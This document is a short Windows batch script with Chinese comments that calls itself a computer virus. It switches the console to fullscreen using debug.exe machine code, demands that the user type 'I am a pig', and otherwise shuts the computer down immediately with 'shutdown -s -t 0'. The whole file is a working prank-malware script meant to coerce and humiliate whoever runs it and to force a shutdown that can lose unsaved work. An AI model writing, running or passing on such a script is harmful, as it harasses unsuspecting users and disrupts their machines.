Rem 关闭回显
@echo off
Rem 让程序全屏
echo exit|%ComSpec% /k prompt e 100 B4 00 B0 12 CD 10 B0 03 CD 10 CD 20 $_g$_q$_|debug>nul
Rem 我是一个计算机病毒。你必须输入“我是猪”,否则,我会关掉你的电脑!
echo I am a computer virus. You must enter "I am a pig". Otherwise, I will close your computer!
Rem 设置变量pig(猪)
set pig=
set /p pig=
Rem 如果pig的值是 "I am a pig" 那么放行,否则关机
if /i "%pig%"=="I am a pig" goto ByeBye
Rem 关机
shutdown -s -t 0
Rem 放行
:ByeBye
exit